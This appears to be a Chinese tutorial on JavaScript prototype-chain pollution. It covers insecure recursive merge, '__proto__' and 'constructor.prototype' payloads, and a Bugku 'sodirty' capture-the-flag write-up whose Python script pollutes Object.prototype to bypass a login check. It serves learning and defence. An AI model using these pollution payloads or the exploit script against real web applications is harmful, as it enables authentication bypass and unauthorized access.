渗透攻击漏洞——原型链污染

背景

2019年初,Snyk的安全研究人员披露了流行的JavaScript库Lodash中一个严重漏洞的详细信息,该漏洞使黑客能够攻击多个Web应用程序,这个安全漏洞就是一个“原型污染漏洞”(JavaScript Prototype Pollution),攻击者可以利用该漏洞利用JavaScript编程语言的规则并以各种方式破坏应用程序。

原型与原型链

Javascript中一切皆是对象, 其中对象之间是存在共同和差异的,比如对象的最终原型是Object的原型null,函数对象有prototype属性,但是实例对象没有。

  • 原型的定义:

    原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

    (1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型

    (2)所有函数拥有prototype属性(显式原型)(仅限函数)

  • 原型链的定义:

    原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

  • 原型对象:

    在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。

  1. 实例对象:

    我们可以通过构造函数A创建一个实例对象A,A默认会有一个属性__proto__指向了构造函数A的原型对象B。

  2. 关系

    function Foo(){};
    undefined
    let foo = new Foo();
    undefined
    Foo.prototype == foo.__proto__
    true

    总结:

    1.prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
    2.一个对象的__proto__属性,指向这个对象所在的类的prototype属性

3、原型链机制

回顾一下构造函数、原型和实例的关系:

每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。——摘自《javascript高级程序设计》

感觉理解起来有点绕,不过引用图片可以很好理解。

这里person实例对象,Person.prototype是原型,原型通过__proto__访问原型对象,实例对象继承的就是原型及其原型对象的属性。

继承的查找过程:

  调用对象属性时, 会查找属性,如果本身没有,则会去__proto__中查找,也就是构造函数的显式原型中查找,如果构造函数中也没有该属性,因为构造函数也是对象,也有__proto__,那么会去__proto__的显式原型中查找,一直到null(很好说明了原型才是继承的基础)

原型链污染机制

javascript是种动态继承。与java两者的继承方式机制可以说完全不一样的,一个java是基于对象来继承, 一个javascript是基于原型来继承

function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father()let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性

对于对象son,在调用last_name的时候,JavaScript引擎会进行的操作如下:

在对象son中寻找last_name
如果找不到,就到son.__proto__中寻找last_name
还找不到,就到son.__proto__.__proto__中寻找last_name
就这样一直往上找,一直找到null宣告结束。比如,Object.prototype的__proto__就是null

我们修改下代码:

function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father()let son = new Son()
son.__proto__['add_name'] = 'hehehe'
let son1 = new Son();
console.log(`son Name: ${son.add_name} `)
console.log(`son1 Name: ${son1.add_name} `)

发现一个对象son修改自身的原型的属性的时候会影响到另外一个具有相同原型的对象son1,同理

当我们修改上层的原型的时候,底层的实例会发生动态继承从而产生一些修改。

我们真正修改的其实是原型prototype

原型链污染(利用手段)

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。

foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,就可以修改Foo类。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

控制对象的 __proto__ ,即可影响该实例的父类,那么要如何控制 __proto__ 呢?

JS中针对对象的复制分为浅拷贝和深拷贝,简单来说:

浅拷贝 只是将指向对象的指针复制了过去,不论如何拷贝,这些拷贝都指向同一个引用,一旦被修改,所有引用都会变化;

深拷贝 则是要将目标对象完完全全的“克隆”一份,占据自己的内存空间。

实现深拷贝,一种常见的方式是:递归遍历需要复制对象的所有属性,并且全部赋值给新的空对象,实际上创建了一个新的对象。而浅拷贝就是引用。
 

原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。

我们先了解下什么情况下容易发生原型链污染

存在可控的对象键值

1.常发生在merge 等对象递归合并操作

2.对象克隆

3.路径查找属性然后修改属性的时候

这里做一个举例

  • 对象merge
  • 对象clone

以对象merge为例子,我们想象一个简单的merge函数

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢? 

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

//1 2

//undefined

虽然合并在了一起,但是并没一被污染。因为我们用JavaScript创建o2的过程(let o2 = {a: 1, “__proto__”: {b: 2}})当中,__proto__被认为是o2本对象的原型,此时又会遍历o2的所有键名,拿到的是a和b两个键,__proto__并不是一个key,自然也不会修改Object的原型(我们自己创建的对象都是以Object为原型创建来的)

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

//1 2
//2

此时利用JSON.parse方法,这个方法可以将JSON字符串解析为值或对象。所以在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

这样的话__proto__才会被当作一个JSON格式的字符串被解析成键值,而不是上面之间被解析成了一个属性值。

再看个demo

上面那个是通过__proto__来实现漏洞,还有另一种方式:重载构造函数

当我们将constructor和prototype嵌套作为键名的时候

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
let o1 = JSON.parse('{"constructor": {"prototype": {"hello": 1}}}')
merge({},o1)

let o2 = {}
console.log(o2.hello)
 

//1

实例 constructor 的 prototype ,和实例的__proto__指向一致。由于 merge 操作的解析是递归的,这种方式同样也会污染 Object

例题:Bugku-sodirty

打开题目后仅有一个注册按键,点击后显示创建成功。
扫描网站,扫出一个www.zip文件

发现有网站的源码下载下来看看

var express = require('express');
const setFn = require('set-value');
var router = express.Router();const Admin = {"password":process.env.password?process.env.password:"password"
}router.post("/getflag", function (req, res, next) {if (req.body.password === undefined || req.body.password === req.session.challenger.password){res.send("登录失败");}else{if(req.session.challenger.age > 79){res.send("糟老头子坏滴很");}let key = req.body.key.toString();let password = req.body.password.toString();if(Admin[key] === password){res.send(process.env.flag ? process.env.flag : "flag{test}");}else {res.send("密码错误,请使用管理员用户名登录.");}}});
router.get('/reg', function (req, res, next) {req.session.challenger = {"username": "user","password": "pass","age": 80}res.send("用户创建成功!");
});router.get('/', function (req, res, next) {res.redirect('index');
});
router.get('/index', function (req, res, next) {res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {if(req.session.challenger === undefined){res.redirect('/reg');}else{if (req.body.attrkey === undefined || req.body.attrval === undefined) {res.send("传参有误");}else {let key = req.body.attrkey.toString();let value = req.body.attrval.toString();setFn(req.session.challenger, key, value);res.send("修改成功");}}
});module.exports = router;

对应网页有着不同功能,有一个登陆的路由/getflag,/reg能够默认创建一个字典,/update能够修改新的数据,/getflag是取得flag的地方。

如果要进行修改,需要:

首先要有req.session.challenger 
用attrkey,attrval以post的形式传参,传参的结果以键值对的形式存在。

如果要取得flag,需要:

post传参
修改password
age参数小于79
admin中存在完好键值对

在满足其他条件的同时,使用原型链污染,让Object对象有一个属性,这样就可以利用那个属性进行登录。

所以我们先在路由:"/reg"注册一个用户

这里创建的用户默认age=80,需要修改

然后利用路由:“/update”,去修改我们的信息,去把年龄修改为小于79岁,并且利用原型链把admin的密码和我们注册的用户的密码修改成一样:

先修改age:

修改密码和admin一致:

然后登陆获取flag:

或者直接用脚本

import requests
import randoms = requests.session()  # 保持会话def reg(url):url = url + "reg"r = s.get(url)print(r.text)def update(url, data):url = url + "update"print(url)r = s.post(url, data=data)print(r.text)def getflag(url, data):url = url + "getflag"r = s.post(url, data=data)print(r.text)url = "http://114.67.175.224:11990/"
reg(url) #先取得req.session.changer
data = {"attrkey": "age", "attrval": "30"}
update(url, data) #post对年龄进行更新
data = {"attrkey": "__proto__.pwd", "attrval": "222"}
update(url, data) # 原型链污染,Object有了这样一个属性
data = {"password": "222", "key": "pwd"}
getflag(url, data) # 利用污染的进行登录

参考博客:

浅析javascript原型链污染攻击 - 先知社区 (aliyun.com)

 深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户

渗透攻击漏洞之——原型链污染-CSDN博客

【精选】Javascript Prototype污染攻击(原型链污染,Bugku-web-sodirty wp)_prototype pollution in json5 via parse method-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/118150.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【分布式】大模型分布式训练入门与实践 - 04

大模型分布式训练 数据并行-Distributed Data Parallel1.1 背景1.2 PyTorch DDP1&#xff09; DDP训练流程2&#xff09;DistributedSampler3&#xff09;DataLoader: Parallelizing data loading4&#xff09;Data-parallel&#xff08;DP&#xff09;5&#xff09;DDP原理解析…

图论06-【无权无向】-图的遍历并查集Union Find-力扣695为例

文章目录 1. 代码仓库2. 思路2.1 UF变量设计2.2 UF合并两个集合2.3 查找当前顶点的父节点 find(element) 3. 完整代码 1. 代码仓库 https://github.com/Chufeng-Jiang/Graph-Theory 2. 思路 2.1 UF变量设计 parent数组保存着每个节点所指向的父节点的索引&#xff0c;初始值为…

Java IDEA controller导出CSV,excel

Java IDEA controller导出CSV&#xff0c;excel 导出excel/csv&#xff0c;亲测可共用一个方法&#xff0c;代码逻辑里判断设置不同的表头及contentType&#xff1b;导出excel导出csv 优化&#xff1a;有数据时才可以导出参考 导出excel/csv&#xff0c;亲测可共用一个方法&…

【多线程】Java如何实现多线程?如何保证线程安全?如何自定义线程池?

个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的路上摸爬滚打&#xff0c;记录学习的过程~ 个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ 多线程 Java多线程1. 进程与线程2. 多线程1&am…

人工智能基础_机器学习001_线性回归_多元线性回归_最优解_基本概念_有监督机器学习_jupyter notebook---人工智能工作笔记0040

线性和回归,就是自然规律,比如人类是身高趋于某个值的概率最大,回归就是通过数学方法找到事物的规律. 机器学习作用: 该专业实际应用于机器视觉、指纹识别、人脸识别、视网膜识别、虹膜识别、掌纹识别、专家系统、自动规划、智能搜索、定理证明、博弈、自动程序设计、智能控制…

【PyTorch】深度学习实践 01 Overview

人工智能概述 课程前置知识 线性代数 概率论 &#xff08;不要有路径依赖&#xff0c;遇到不会的就现学&#xff09;Python基础 人工智能 问题分类 人工智能&#xff0c;实际上就是利用计算机来代替人脑进行智能工作&#xff0c;计算机所要实现的智能可以分为两大部分&am…

python造测试数据存到excel

代码&#xff1a; from ExcelHandler import ExcelHandler from faker import Faker # 导入faker库的Faker方法 # ↓默认为en_US&#xff0c;只有使用了相关语言才能生成相对应的随机数据 fkFaker(locale"zh_CN")def create_date():m int(input(请输入要造的数据条…

PostgreSQL12中浮点数输出算法优化带来的小问题

最近碰到同事发来这样两个SQL&#xff0c;开发反馈输出的结果异常。 bill# select 0.1284*100::float;?column? --------------------12.839999999999998 (1 row)bill# select (0.1284*100)::float;float8 --------12.84 (1 row) 乍一看其实能看出明显的区别&#xff0c;由于…

通俗介绍:什么是 Redis ?

刚接触 Redis 的伙伴们可能会因为不熟悉而感到困惑。本文简述 Redis 是什么、有哪些作用的问题&#xff0c;是一篇短浅而入门级别的文章。 Redis官网&#xff1a;Redis 打开 Redis 官网可以看到&#xff0c;官方对 Redis 的介绍是这样的&#xff1a;The open source, in-memo…

pytorch C++ 移植

文章目录 前言安装 libtorch安装 opencv&#xff08;C&#xff09;模型转换通过跟踪转换为 Torch Script通过注解转换为 Torch Script 编写 C 代码编译环境搭建C 库管理方法一&#xff1a;手动配置 visual studio 环境方法二&#xff1a;cmake 配置环境 python 调用 C 程序 前言…

艾伏尼布:一种用于治疗复发或难治性AML和胆管癌的IDH1抑制剂【医游记】

&#xff08;图片来源于网络) 艾伏尼布&#xff0c;商品名为拓舒沃&#xff0c;是中国首个获批的针对异柠檬酸脱氢酶-1 (IDH1)突变癌症的强效口服靶向抑制剂1。这款药物最初由Agios Pharmaceuticals公司开发&#xff0c;2018年基石药业与Agios达成在大中华区开发及商业化的独家…

RK3399平台开发中安卓系统去除USB权限弹窗

RK3399平台开发中安卓系统去除USB权限弹窗 问题方法 问题 当我们在访问一个插入到Android系统的USB设备的时候往往是需要权限的&#xff0c;此时系统会弹出询问权限的对话框&#xff0c;而我们此时希望让它默认允许访问USB设备并且不希望用户看到这个对话框。 方法 文件目录&…

CSS - 常用属性和布局方式

目录 前言 一、常用属性 1.1、字体相关 1.2、文本相关 1.3、背景相关 1.3.1、背景颜色 1.3.2、背景图片 1.4、圆角边框 二、常用布局相关 2.1、display 2.2、盒子模型 2.2.1、基本概念 2.2.2、border 边框 2.2.3、padding 内边距 2.2.4、margin 外边距 2.3、弹…

gcc和makfile

gcc和makfile gcc预处理(进行宏替换)编译(生成汇编)汇编(生成机器可以识别的代码)连接(生成可以执行的文件或者库文件) makemakefile文件的编写 gcc 没安装的话&#xff0c;按照终端提示的安装命令安装就行 运行的格式&#xff1a; gcc [选项] [要编译的文件] [选项] [目标文件…

SylixOS BSP开发(八)

初始化FPU、MMU和Cache组件 本来想在不初始化这些部件的情况下把SylixOS先启动起来感受下&#xff0c;结果测试发现如果MMU不使能的话&#xff0c;系统启动过程中线程无法进行调度emm。。。所以只好把这一章节提前来讲了。这三个组件的初始化都是在bspInit.c中进行的。 1. FPU初…

Unity游戏开发中打造游戏攻击技能架构与设计

一、技能系统的设计 在 MOBA 游戏中&#xff0c;每个英雄角色都会有多个技能&#xff0c;这些技能可以分为普通攻击和技能攻击两种。普通攻击是英雄角色的基本攻击方式&#xff0c;而技能攻击则需要消耗一定的资源&#xff08;如蓝量&#xff09;才能使用。在设计技能系统时&a…

【面试经典150 | 链表】循环链表

文章目录 Tag题目来源题目解读解题思路方法一&#xff1a;哈希集合方法二&#xff1a;快慢指针方法三&#xff1a;计数 拓展其他语言python3 写在最后 Tag 【快慢指针】【哈希集合】【计数】【链表】 题目来源 141. 环形链表 题目解读 判断一个链表中是否存在环。 解题思路 …

(Java)中的数据类型和变量

文章目录 一、字面常量二、数据类型三、变量1.变量的概念2.语法的格式3.整型变量4.长整型变量5.短整型变量6.字节型变量 四、浮点型变量1.双精度浮点数2.单精度浮点数 五、字符型常量六、布尔型变量七、类型转换1.自动类型转换&#xff08;隐式&#xff09;2.强制类型转换(显式…

react的setState做了什么

1、为什么需要setState setState的作用是帮助我们更改数据的同时并且通知视图进行渲染。因为React并不会绑定视图和state&#xff0c;需要我们手动去更新视图。 2、setState什么时候是同步的&#xff0c;什么时候是异步的 setState这个方法在调用的时候是同步的&#xff0c;…